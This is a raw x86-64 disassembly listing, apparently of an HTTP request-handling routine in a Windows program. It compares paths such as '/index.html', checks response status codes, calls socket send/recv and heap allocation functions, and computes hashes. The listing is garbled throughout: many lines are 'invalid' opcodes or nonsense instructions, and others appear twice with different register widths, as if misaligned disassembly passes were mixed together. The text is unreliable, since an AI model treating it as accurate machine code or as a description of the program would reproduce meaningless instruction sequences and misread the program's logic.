lea rdx, [0x140208e0c]
lea edx, [0x140208e0c]
lea edx, [0x140208e0c]
sbb byte [rax], al
movsxd rcx, dword [rdx + rdi*4]
add rcx, rdx
mov dword [rsp + 0x84], r14d
and al, 0x84
add byte [rax], al
add bh, bh
jmp rcx
and al, 0x84
add byte [rax], al
add bh, bh
jmp rcx
invalid
cmp qword [rsp + 0x2a8], 0
cmp dword [rsp + 0x2a8], 0
add al, byte [rax]
add byte [rax], al
je 0x14007924e
mov r8b, 2
mov al, 1
jmp 0x140079345
jns 0x1400790cc
add byte [rax], al
jns 0x1400790cc
add byte [rax], al
nop dword [rax]
mov edi, 2
cmp al, 1
je 0x14007930c
movzx eax, al
cmp eax, 2
mov rsi, qword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
jne 0x14007933b
mov edi, 3
jmp 0x1400797c0
add byte [rax], al
add byte [rax], al
cmp rsi, 5
je 0x140079316
cmp rsi, 4
jne 0x140079336
and al, byte [rdx]
add byte [rax], al
and al, byte [rdx]
add byte [rax], al
mov rax, qword [rsp + 0x78]
cmp dword [rax], 0x70747468
sete r8b
mov edi, 6
invalid
add byte [rax], al
add byte [rax - 0x75], cl
je case.0x14007fe44.18
push 0x658e9
invalid
invalid
push 0x658e9
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
invalid
cmp rsi, 0xb
je 0x140079528
mov edi, 4
cmp rsi, 1
cmp esi, 1
cmp esi, 1
jne case.0x140079275.171
test dword [rbx], ebp
add al, 0
add byte [rax - 0x75], cl
invalid
invalid
mov rax, qword [rsp + 0x78]
and al, 0x78
cmp byte [rax], 0x2f
sete r8b
shr cl, 0x1d
add al, 0
invalid
mov r8b, 2
jmp case.0x1400790b1.1
movzx eax, ax
mov edi, 8
add byte [rbp + 0x31], al
sar byte [0x1400792c0], 0x7e
invalid
add byte [rbp + 0x31], al
sar byte [0x1400792c0], 0x7e
xor byte [0x14007932a], bh
cmp eax, 0x193
mov rsi, qword [rsp + 0x68]
jg 0x1400795f9
push rdi
add al, 0
invalid
push rdi
add al, 0
add byte [0x1400792d7], bh
xor byte [rcx], al
add byte [rax], al
cmp eax, 0x130
xor byte [rcx], al
add byte [rax], al
je 0x1400797a5
cmp eax, 0x190
jne case.0x1400790b1.1
mov edi, recv
jmp 0x1400797c0
add byte [rax], al
add cl, ch
inc byte [0x1084491c4]
add byte [rax], al
add byte [rax - 0x75], cl
je 0x1400791ef
cmp eax, 0xc8
mov rsi, qword [rsp + 0x68]
je 0x1400797c0
push 0x5ee840f
add byte [rax], al
cmp eax, 0xcc
je 0x1400797ac
test bh, cl
invalid
add byte [rax], al
cmp eax, 0xce
jne case.0x1400790b1.1
mov edi, 0xa
jmp 0x1400797c0
add byte [rax], al
add cl, ch
invalid
add eax, 0xb60f0000
test byte [rax + rdi*4], ah
add al, 0
add byte [rsi + rdi*8], al
movzx eax, byte [rsp + 0x4b8]
add al, 0xfe
movzx eax, al
lea rcx, [rax + 1]
cmp al, 6
invalid
mov eax, 0
cmovae rcx, rax
lea rdx, [0x140208fdc]
movsxd rax, dword [rdx + rcx*4]
add al, 0x8a
add al, 0x8a
add rax, rdx
jmp rax
mov r15d, r14d
cmp qword [rsp + 0x478], 0
cmp dword [rsp + 0x478], 0
je 0x14007a255
test byte [0x18c079241], ah
mov esp, dword [rsp + 0x480]
mov r12, qword [rsp + 0x480]
add byte [rbx + rcx*4 - 0x4c], cl
and al, 0x88
add al, 0
invalid
mov r14, qword [rsp + 0x488]
add byte [rax], al
add byte [rax - 0x7c], al
in eax, dx
test bpl, bpl
jne 0x14007a11d
jmp 0x14007a178
mov r8b, 2
mov rdx, qword [rsp + 0x78]
cmp dl, 0x4c
mov rsi, qword [rsp + 0x68]
ja case.default.0x140079275
movzx eax, dl
lea rcx, [0x140208e28]
invalid
sti
sbb byte [rax], al
mov edx, 0x480018fb
invalid
sbb byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x140079237
mov edi, reloc.WS2_32.dll_send
adc eax, dword [rax]
add byte [rax], al
xor r8d, r8d
jmp 0x14007a50e
mov qword [rsp + 0x400], rdi
movdqa xmm8, xmm7
mov esp, 0x40024
add byte [rsi + 0x44], ah
movq mm0, mm7
movzx edx, byte [rsp + 0x65]
mov byte [rsp + 0x76], dl
mov edx, r9d
mov byte [rsp + 0x77], r9b
mov edx, r14d
mov byte [rsp + 0x75], r14b
mov qword [rsp + 0x1f8], r8
mov qword [rsp + 0x78], rdi
mov rdx, qword [rsp + 0x298]
mov qword [rsp + 0x420], rdx
mov rdx, qword [rsp + 0x280]
mov qword [rsp + 0x3f0], rdx
mov rdx, qword [rsp + 0x288]
mov qword [rsp + 0x3f8], rdx
mov rdx, qword [rsp + 0x290]
mov qword [rsp + 0x428], rdx
mov rdx, qword [rsp + 0x2a0]
and al, 0xa0
add al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x30
add al, 0
add cl, ch
mov cl, 0xfc
invalid
invalid
and al, 0xa0
add al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x30
add al, 0
add cl, ch
mov cl, 0xfc
invalid
mov rsi, qword [rsp + 0x68]
jmp 0x1400797c0
je 0x140079334
push 0x4aae9
add byte [rax - 0x75], cl
and al, 0x78
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx]
bswap eax
cmp eax, 0x68747470
je 0x14007938c
je 0x14007938c
jne 0x14007976b
movzx eax, byte [rcx + 4]
add eax, 0xffffff8d
jmp 0x140079775
add byte [rax], al
mov edi, 6
xor r8d, r8d
cmp r8b, 2
sete al
mov qword [rsp + 0x250], r8
mov byte [rsp + 0x67], al
lea rcx, [rsp + 0x2a8]
call fcn.14006cca0
shl rax, 2
loopne 0x140079364
loopne 0x140079364
mov rsi, qword [r13 + 0x68]
jne 0x1400793ce
lea rcx, [rsi + rsi*2]
cmp rax, rcx
jbe 0x140079400
mov eax, 4
lea rcx, [rsp + 0x98]
cmp byte [rsp + 0x67], 0
jne case.default.0x1400793f4
mov qword [rsp + 0x98], rdi
mov eax, 1
add byte [rax], al
add byte [rax + 1], bh
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x2e8]
mov qword [rcx + 0x40], rdx
movdqu xmm0, xmmword [rsp + 0x2a8]
movups xmm1, xmmword [rsp + 0x2b8]
movups xmm2, xmmword [rsp + 0x2c8]
movups xmm3, xmmword [rsp + 0x2d8]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x90], rax
lea rcx, [0x140208f78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov rsi, qword [rsp + 0x68]
jmp rax
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x240], rax
movdqu xmm0, xmmword [rsp + 0x2a8]
movups xmm1, xmmword [rsp + 0x2b8]
movups xmm2, xmmword [rsp + 0x2c8]
movups xmm3, xmmword [rsp + 0x2d8]
movaps xmmword [rsp + 0x230], xmm3
movaps xmmword [rsp + 0x220], xmm2
movaps xmmword [rsp + 0x210], xmm1
movdqa xmmword [rsp + 0x200], xmm0
lea rcx, [rsp + 0x200]
call fcn.14006cca0
add rax, qword [r13 + 0x60]
cmp rax, rsi
mov qword [rsp + 0x278], rdi
jb 0x140079490
movzx eax, byte [rsp + 0x240]
test al, al
je 0x140079490
or al, 0xf8
cmp al, 0xf9
jbe 0x1400799d8
nop word cs:[rax + rax]
mov rsi, qword [r13 + 0x28]
mov rax, qword [r13 + 0x48]
mov rcx, rsi
shr rcx, 2
mov rdx, rsi
sub rdx, rcx
cmp rax, rdx
jne 0x1400799dc
test rax, rax
je 0x140079619
lea rdi, [rsi + rsi]
mov rax, qword [rsp + 0x268]
mov rbx, qword [rax]
mov eax, 8
test rsi, rsi
je 0x14007979d
mov rcx, qword [r13 + 0x50]
lea rdx, [rsi*8]
lea rdx, [rdx + rdx*2]
xor r8d, r8d
xor r14d, r14d
jmp 0x140079500
add r8, 0x18
inc r14
cmp rdx, r8
je 0x1400796f3
cmp qword [rbx + r8], 0
je 0x1400794f0
mov r9, qword [rbx + r8 + 0x10]
and r9, rcx
mov r10, r14
sub r10, r9
test r10, rcx
jne 0x1400794f0
test rdi, rdi
jne 0x1400796ff
add dword [rax], eax
invalid
jmp case.0x14006bacd.502
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
bswap rax
movabs rcx, 0x2f696e6465782e68
invalid
mov rdx, rcx
cmp rax, rcx
jne 0x140079565
invalid
mov rax, qword [rsp + 0x78]
mov eax, dword [rsp + 0x78]
mov rax, qword [rax + 3]
bswap rax
xor ecx, ecx
movabs r8, 0x6465782e68746d6c
mov rdx, r8
cmp rax, r8
je case.0x140135a1f.179
cmp rax, rdx
mov ecx, 0
sbb ecx, ecx
or ecx, 1
xor r8d, r8d
test ecx, ecx
sete r8b
mov rdi, r8
or rdi, 4
jmp 0x140079587
xor r8d, r8d
mov rsi, qword [rsp + 0x68]
xor eax, eax
test r8b, r8b
sete al
mov qword [rsp + 0x98], rdi
mov rcx, qword [rsp + 0x2e8]
lea rdx, [rsp + 0xa0]
mov qword [rdx + 0x40], rcx
movdqu xmm0, xmmword [rsp + 0x2a8]
movups xmm1, xmmword [rsp + 0x2b8]
movups xmm2, xmmword [rsp + 0x2c8]
movups xmm3, xmmword [rsp + 0x2d8]
movups xmmword [rdx + 0x30], xmm3
movups xmmword [rdx + 0x20], xmm2
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rsp + 0x90], rax
lea rcx, [0x140208f78]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne 0x140079637
cmp eax, 0x194
je 0x1400797b3
add byte [rax], al
xchg esp, eax
add dword [rax], eax
add byte [rdi], cl
test byte [rdi + 0x3d000001], ch
add byte [rax], al
invalid
hlt
add byte [rax], al
cmp eax, 0x1f4
jne case.0x1400790b1.1
std
invalid
mov edi, recv
jmp 0x1400797c0
add dword [rax], eax
add byte [rcx - 0x39], cl
push r8
invalid
mov qword [r13 + 0x50], 7
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
add eax, 0x19bd31
test rax, rax
jne 0x14007964a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14007b880
jmp 0xc54f964a
mov qword [0x140215360], rax
mov r8d, 0xc0
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14007b880
mov rsi, rax
mov qword [rax], 0
mov qword [rax + 0x18], 0
mov qword [rax + 0x30], 0
mov qword [rax + 0x48], 0
mov qword [rax + 0x60], 0
mov qword [rax + 0x78], 0
mov qword [rax + 0x90], 0
mov qword [rax + 0xa8], 0
cmp qword [r13 + 0x20], 0
je 0x1400796cd
mov rax, qword [rsp + 0x268]
mov r8, qword [rax]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [r13 + 0x18], rsi
mov qword [r13 + 0x20], 8
mov qword [r13 + 0x28], 8
mov esi, 8
mov r10, qword [rsp + 0x250]
jmp 0x1400799ed
xor r14d, r14d
test rdi, rdi
je case.0x14006bacd.502
movabs rax, 0x555555555555556
cmp rdi, rax
jae 0x14007b891
mov rax, rsi
shl rax, 4
lea r12, [rax + rax*2]
test r12, r12
je 0x14007985f
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x14007974f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14007b898
mov qword [0x140215360], rax
mov rcx, rax
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x140079864
jmp 0x14007b898
mov eax, 0
sbb eax, eax
or eax, 1
mov rsi, qword [rsp + 0x68]
xor r8d, r8d
test eax, eax
sete r8b
mov rdi, r8
or rdi, 6
cmp r8b, 2
sete al
test r8b, 1
je 0x140079345
invalid
stosb byte [rdi], al
sti
invalid
invalid
clc
add cl, byte [rdi]
xchg esp, eax
rol byte [rcx - 0xa], 0xc0
add dword [rdi], ecx
test byte [rdx - 0x14000005], ch
and eax, dword [rbp + 0x31]
imul cl
invalid
jmp 0x1400797c0
xor r14d, r14d
jmp case.0x14006bacd.502
mov edi, 0xb
add byte [rax], al
jmp 0x1400797c0
mov edi, 9
jmp 0x1400797c0
invalid
or eax, 0xdbf
add byte [rdi], cl
invalid
mov edi, recv
nop dword [rax + rax]
mov rax, qword [rsp + 0x2e8]
lea rcx, [rsp + 0xa0]
mov qword [rcx + 0x40], rax
movdqu xmm0, xmmword [rsp + 0x2a8]
and al, 0xa8
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x2b8], cl
add al, byte [rax]
invalid
and al, 0xa8
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x2b8], cl
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x2c8], dl
movups xmm2, xmmword [rsp + 0x2c8]
movups xmm3, xmmword [rsp + 0x2d8]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x90], 0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
jmp 0x14007a5a0
mov rcx, qword [rsp + 0x478]
jmp 0x14007983a
mov rcx, qword [rsp + 0x480]
add rcx, 0x3e
test bpl, bpl
setne r9b
lea rax, [rsp + 0x40]
and al, 0x40
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r8, rsi
call fcn.14007c420
jmp case.0x14006cab3.95
mov eax, 8
lea rcx, [rdi - 1]
lea r8, [rdi - 2]
mov rdx, rax
cmp r8, 7
movabs r12, 0x100000001b3
add byte [rax], al
add dword [rax], eax
add byte [rdx + 0x63], dh
mov r8, rcx
and r8, 0xfffffffffffffff8
mov rdx, rax
nop dword [rax]
mov qword [rdx], 0
mov qword [rdx + 0x18], 0
mov qword [rdx + 0x30], 0
mov qword [rdx + 0x48], 0
mov qword [rdx + 0x60], 0
mov qword [rdx + 0x78], 0
mov qword [rdx + 0x90], 0
mov qword [rdx + 0xa8], 0
add byte [rax], al
add rdx, 0xc0
add r8, 0xfffffffffffffff8
jne 0x140079890
and ecx, 7
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x7d], cl
ret 0x4818
mov qword [rdx], 0
add rdx, 0x18
dec rcx
jne 0x1400798f0
mov qword [rdx], 0
mov rcx, qword [r13 + 0x20]
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x20], rdi
mov qword [r13 + 0x28], rdi
lea rdx, [rdi - 1]
push rdi
dec dword [rcx - 0x77]
push rbp
push rax
push rdi
dec dword [rcx - 0x77]
push rbp
push rax
cmp r14, rsi
ja 0x14007b86c
test byte [rdi], 0x87
invalid
lea r8, [r14 + r14*2]
lea r8, [rbx + r8*8]
jne 0x140079b90
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbp - 0x7b], cl
test r14, r14
mov r14d, dword [rsp + 0x84]
test byte [rbx + rcx*4 - 0x4c], 0x24
test byte [rax], al
add byte [rax], al
mov rdi, qword [rsp + 0x278]
je 0x1400799c1
mov r9, qword [r13 + 0x28]
mov r10, rbx
jmp 0x14007998c
sub byte [r9 - 0x77], r9b
invalid
lea rdi, [rax + r14*8]
mov qword [rdi], 1
mov qword [rdi + 8], r11
mov qword [rdi + 0x10], rsi
mov r14d, dword [rsp + 0x84]
mov rdi, qword [rsp + 0x278]
add r10, 0x18
cmp r10, r8
je 0x1400799c1
cmp qword [r10], 0
je 0x140079983
mov r11, qword [r10 + 8]
mov ebx, dword [rdx + 8]
mov rsi, qword [r10 + 0x10]
mov r14, rsi
and r14, rdx
mov rdi, r14
mov r14d, 0
add byte [rax], al
cmp rdi, r9
jae 0x1400799a0
lea r14, [rdi + rdi*2]
cmp qword [rax + r14*8], 0
je 0x140079960
inc rdi
mov r14, rdi
jmp 0x1400799a0
test rcx, rcx
je 0x1400799d8
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [r13 + 0x28]
mov r10, qword [rsp + 0x250]
test rsi, rsi
je case.0x1400693d1.389
movzx eax, byte [rsp + 0x240]
mov qword [rsp + 0x88], rax
add eax, 0xfffffffe
mov dword [rsp + 0x258], eax
movzx eax, al
lea rcx, [rax + 1]
cmp al, 6
mov edx, 0
cmovb rdx, rcx
movzx ecx, dl
shr edx, 8
movabs r8, 0xcbf29ce484222325
xor rcx, r8
imul rcx, r12
xor rcx, rdx
movabs rdx, 0xc5527b8a51d3d2db
imul rcx, rdx
mov r11, qword [rsp + 0x200]
cmp al, 5
mov qword [rsp + 0x3e8], r11
jbe case.0x140069261.401
xor eax, eax
test r11, r11
setne al
xor rcx, rax
movabs rax, 0x1efac7090aef4a21
invalid
cli
invalid
imul rcx, rax
test r11, r11
je 0x140079b74
invalid
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0xe8], rax
mov r8, qword [rsp + 0x210]
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
test al, bh
add dword [rax], eax
invalid
test al, bh
add dword [rax], eax
add byte [rbp - 0x77], cl
ror dword [rcx - 0x7d], 0xe1
mov r9, r8
and r9, 7
invalid
je 0x140079c01
add byte [rax], al
mov rax, qword [rsp + 0xe8]
nop dword [rax]
movzx edx, byte [rax]
inc rax
ror byte [rax + 0x31], 0xca
imul rdx, r12
mov rcx, rdx
dec r9
jne 0x140079ab0
cmp r8, 8
cmp eax, 8
jae 0x140079c12
jmp 0x140079c84
movzx eax, byte [rsp + 0x208]
mov qword [rsp + 0xe8], rax
jmp case.0x1400790b1.459
mov eax, 4
lea rcx, [rsp + 0x98]
cmp byte [rsp + 0x67], 0
jl case.0x14006a935.361
add byte [ebp + 0x15], dh
mov qword [rsp + 0x98], rdi
mov eax, 1
add byte [rax], al
invalid
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x240]
mov qword [rcx + 0x40], rdx
push rcx
movdqa xmm0, xmmword [rsp + 0x200]
movdqa xmm0, xmmword [rsp + 0x200]
movaps xmm1, xmmword [rsp + 0x210]
movaps xmm2, xmmword [rsp + 0x220]
add al, 0x81
add rax, rcx
add eax, ecx
mov rsi, qword [rsp + 0x68]
jmp rax
movzx edx, byte [rsp + 0x208]
mov dh, 0x94
and al, 8
or byte [rdx], al
add byte [rax], al
mov qword [rsp + 0xe8], rdx
xor rcx, rdx
imul rcx, rax
jmp case.0x1400790b1.459
invalid
mov qword [rsp + 0xe8], rdx
add byte [rax], al
xor rcx, rdx
xor ecx, edx
imul rcx, rax
jmp case.0x1400790b1.459
invalid
add byte [rbp + rcx*4 + 0xc], cl
jbe 0x140079be3
lea r9, [rsi + rsi*2]
lea r9, [rbx + r9*8]
lea ecx, [rbx + rcx*8]
mov r10, r8
jmp 0x140079bca
invalid
ret 0x2deb
sub eax, 0x4e001f0f
lea edi, [rax + riz*8]
add byte [rsi - 0x73], cl
cmp al, 0xe0
lea r15, [rax + r12*8]
mov qword [r15], 1
add dword [rax], eax
add byte [rax], al
add byte [rbp - 0x77], cl
pop rdi
or byte [rcx - 0x77], cl
ja case.0x14006a935.365
mov qword [r15 + 8], r11
mov qword [r15 + 0x10], rsi
movabs r12, 0x100000001b3
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add r10, 0x18
invalid
add byte [rax], al
add r10, 0x18
cmp r10, r9
retf 0x840f
insb byte [rdi], dx
std
invalid
invalid
retf 0x840f
cmp qword [r10], 0
je 0x140079bbd
mov r11, qword [r10 + 8]
mov rsi, qword [r10 + 0x10]
or byte [rcx - 0x75], cl
jb 0x140079be8
mov r12, rsi
and r12, rdx
invalid
nop
invalid
mov r12d, 0
cmp r15, rdi
cmp edi, edi
add byte [rcx + 0x39], cl
push qword [rbx - 0xe]
invalid
cmp edi, edi
jae case.0x14005db00.503
lea r12, [r15 + r15*2]
lea r12, [r15 + r15*2]
cmp qword [rax + r12*8], 0
je 0x140079ba0
inc r15
mov r12, r15
cld
jmp case.0x14005db00.503
mov rdx, rcx
mov edx, ecx
mov rax, qword [rsp + 0xe8]
cmp r8, 8
clc
or byte [rdx + 0x72], dh
clc
or byte [rdx + 0x72], dh
jb 0x140079c5b
mov rcx, qword [rsp + 0xe8]
mov ecx, dword [rsp + 0xe8]
add rcx, r8
add ecx, eax
nop dword [rax]
movzx r8d, byte [rax]
xor r8, rdx
imul r8, r12
imul eax, esp
movzx edx, byte [rax + 1]
add dword [rcx + rsi - 0x3e], ecx
xor rdx, r8
invalid
xor r8, rdx
imul r8, r12
imul eax, esp
movzx edx, byte [rax + 3]
xor rdx, r8
add ecx, dword [rcx + rsi - 0x3e]
imul rdx, r12
movzx r8d, byte [rax + 4]
mov dh, 0x40
add al, 0x49
xor eax, edx
invalid
mov dh, 0x40
add al, 0x49
xor eax, edx
imul r8, r12
mov dh, 0x50
push rax
add eax, 0x49c2314c
imul edx, esp
movzx r8d, byte [rax + 6]
invalid
xor r8, rdx
imul r8, r12
movzx edx, byte [rax + 7]
invalid
add rax, 8
ror byte [rax], 0x4c
xor edx, eax
ror byte [rax], 0x4c
xor edx, eax
imul rdx, r12
cmp rax, rcx
cmp eax, ecx
jne 0x140079c20
pushfq
mov rcx, rdx
nop word [rax + rax]
add byte [rax], al
invalid
shl dword [rsi + 0xf], 1
invalid
movzx r9d, cx
mov bh, 0xc9
leave
mov rdi, qword [r13 + 0x50]
push rax
mov r14d, r9d
and r14d, edi
dec byte [rcx + rcx*4 - 0x18]
dec byte [rcx + rcx*4 - 0x18]
mov eax, ebp
mov r13, qword [r13 + 0x18]
mov r11, qword [rax + 0x30]
pop rax
xor byte [rax - 0x75], cl
mov ecx, dword [rax + 0x58]
mov ecx, dword [rax + 0x58]
pop rax
mov qword [rsp + 0x440], rcx
mov rcx, qword [rax + 0x48]
invalid
invalid
mov qword [rsp + 0xf0], rcx
mov qword [rsp + 0xf0], rcx
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rax + 0x40]
mov qword [rsp + 0x438], rcx
mov dword [rsp + 0x438], ecx
mov qword [rsp + 0x438], rcx
mov dword [rsp + 0x438], ecx
add byte [rax], al
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x408], rax
mov rax, qword [rsp + 0x208]
test byte [rax + rcx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
loopne case.0x14007695a.383
add byte [rax], al
test byte [rax + rcx], ah
add al, 0
add byte [rax - 0x75], cl
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
loopne case.0x14007695a.383
invalid
loopne case.0x14007695a.383
add byte [rax], al
mov rax, qword [rsp + 0x210]
mov eax, dword [rsp + 0x210]
test byte [rax + rdx], ah
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
test byte [rax + rsi*2], ah
jo 0x140079cf9
invalid
adc byte [rdx], al
add byte [rax], al
mov qword [rsp + 0x270], rax
mov dword [rsp + 0x270], eax
add byte [rax], al
add byte [rbp + 0x31], al
in al, 0x4c
mov dword [rsp + 0x418], ecx
and al, 0x18
add al, 0
add byte [rax], al
xor r12d, r12d
xor esp, esp
mov qword [rsp + 0x418], r9
and al, 0x18
add al, 0
add byte [rax], al
invalid
invalid
pushfq
mov qword [rsp + 0xf8], r11
mov dword [rsp + 0xf8], ebx
and al, 0xf8
add byte [rax], al
add bl, ch
jmp case.0x14006bacd.413
invalid
invalid
mov word [rax + rbp*8], fs
and al, 0xe8
jmp case.0x14006bacd.413
mov rcx, qword [rsp + 0xe8]
and al, 0xe8
call 0x178079d17
add byte [rax], al
add byte [rax], bh
add byte [rax], al
cmp byte [rax + 8], cl
or byte [rdi], cl
test byte [rdx + 1], ch
add dword [rax], eax
invalid
je case.0x14006bacd.455
add byte [rax + 0x49c4ff49], dl
inc esi
nop
inc r12
inc esp
inc r14
mov rax, r14
add byte [rax], 0
add byte [rax], al
add byte [rax], al
mov r14, rax
mov eax, 0
cmp r14, rsi
cmp esi, esi
jae 0x140079d30
lea rax, [r14 + r14*2]
cmp qword [r13 + rax*8], 0
jl 0x140079d0a
add byte [rax], al
jbe case.0x14006cccb.305
cmp dword [rbp + rax*8], 0
add byte [rax], al
add byte [rdi], cl
je 0x140079fdd
test byte [rax + 0x48000002], dl
lea eax, [rax*8]
invalid
add byte [rax], al
add byte [rax], al
invalid
lea rax, [rax*8]
add byte [rax], al
add byte [rcx + rax - 0x18], cl
add rax, r13
add byte [rax], al
add rax, r13
mov rcx, qword [rax + 0x10]
mov rdx, rcx
mov edx, ecx
adc byte [rax - 0x77], cl
and rdx, rdi
and edx, edi
mov r8, r14
sub r8, rdx
ror byte [rcx + 0x21], 1
clc
ror byte [rcx + 0x21], 1
cmp r8, r12
cmp eax, esp
loopne 0x140079d7e
jb case.0x14006a935.296
invalid
cmp rcx, r9
mov rbp, qword [rax + 8]
mov ebp, dword [rax + 8]
or byte [rax - 0x75], cl
test byte [rax + rax*2], ah
invalid
mov rax, qword [rsp + 0x440]
mov eax, dword [rsp + 0x440]
add al, 0
add al, 0
lea r15, [rax + rbp]
lea edi, [rax + rbp]
cmp al, 0x28
cmp qword [rsp + 0xf0], r15
mov esp, 0xf024
add byte [rax], al
add byte [rdi], cl
js case.0x1400790b1.489
sbb dword [rax], eax
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdi], ah
cmp byte [rax + rax], al
mov rax, qword [rsp + 0x438]
lea rbx, [r15 + rax]
lea ebx, [rdi + rax]
cmp byte [rax + rax], al
lea ebx, [rdi + rax]
sbb al, 7
mov rcx, qword [rsp + 0x408]
add al, 0
add byte [rax + 0x39], cl
invalid
invalid
retf
mov eax, 0
cmovae rax, rcx
ror dword [r8 - 0x77], 0xd9
add byte [rax], al
add byte [rax + 0xf], cl
mov ecx, ebx
sub rcx, rax
sub ecx, eax
lea rax, [rcx + rcx*2]
shl rax, 5
shl eax, 5
movzx edx, byte [r11 + rax + 0x50]
mov dh, 0x54
push rax
lea ecx, [rdx - 8]
xor r8d, r8d
xor eax, eax
cmp cl, 0xfa
stc
setb r8b
setae r11b
setae bl
rol byte [rcx + 0xf], 0x93
ret
cmp dl, byte [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
sete dl
and dl, r11b
and dl, bl
xchg esp, eax
ret 0x2044
invalid
mov r11, qword [rsp + 0xf8]
and al, 0xf8
clc
add byte [rax], al
add byte [rax + 0x25824bc], al
invalid
invalid
and al, 0x58
invalid
add byte [rax], al
invalid
add byte [rsi], al
movzx edx, dl
cmovb r8d, edx
ret 0x8041
clc
invalid
ret 0x8041
cmp al, 1
add dword [rdi], ecx
jne 0x140079d20
invalid
invalid
invalid
cmp cl, 0xf9
stc
stc
ja case.0x14006bacd.455
add eax, ebx
add rax, 0x10
add eax, 0x10
adc byte [rax - 0x7d], cl
cmp qword [rsp + 0x3e8], 0
mov esp, 0x3e824
and al, 0xe8
add eax, dword [rax]
invalid
add byte [rax], al
sete dl
ret 0x8b48
mov rcx, qword [rax]
test rcx, rcx
leave
setne r8b
cmp r8b, dl
xchg ebp, eax
rol byte [rcx + 0x38], 0xd0
je 0x140079d20
jmp case.0x1400621f6.477
invalid
test rcx, rcx
leave
je 0x140079d0e
invalid
mov rcx, qword [rsp + 0x270]
mov ecx, dword [rsp + 0x270]
and al, 0x70
add al, byte [rax]
invalid
jo 0x140079e46
add byte [rax], al
add byte [rax + 0x39], cl
adc byte [rdi], cl
adc byte [rdi], cl
cmp qword [rax + 0x10], rcx
jne 0x140079d20
invalid
invalid
invalid
adc byte [rdi], cl
test eax, edx
invalid
dec dword [rax - 0x75]
or byte [rax - 0x75], cl
or byte [rax - 0x75], cl
mov rcx, qword [rax + 8]
mov ecx, dword [rax + 8]
or byte [rax - 0x75], cl
mov rdx, qword [rsp + 0x3e0]
xchg esp, eax
and al, 0xe0
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x7c], cl
invalid
test byte [rax + rsi*2], ah
mov r8, qword [rsp + 0x270]
mov eax, dword [rsp + 0x270]
test byte [rax + rsi*2], ah
add al, byte [rax]
add al, ch
invalid
call sub.VCRUNTIME140.dll_memcmp
invalid
mov r11, qword [rsp + 0xf8]
pushfq
and al, 0xf8
clc
clc
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
mov r9, qword [rsp + 0x418]
and al, 0x18
sbb byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rbx + rcx*4 - 0x6c], cl
mov r10, qword [rsp + 0x250]
xchg esp, eax
and al, 0x50
push rax
add al, byte [rax]
add byte [rax], al
add byte [rbp - 0x687af040], al
test eax, eax
jne 0x140079d20
xchg edi, eax
invalid
invalid
invalid
xchg edi, eax
invalid
movq mm0, qword [rsp + 0x200]
add al, byte [rax]
add byte [rdi], cl
movaps xmm1, xmmword [rsp + 0x210]
sub byte [rsp + 0x210], cl
add al, byte [rax]
add byte [rdi], cl
movaps xmm2, xmmword [rsp + 0x220]
sub byte [rsp + 0x220], dl
and al, 0x20
add al, byte [rax]
invalid
add byte [rdi], cl
movaps xmm3, xmmword [rsp + 0x230]
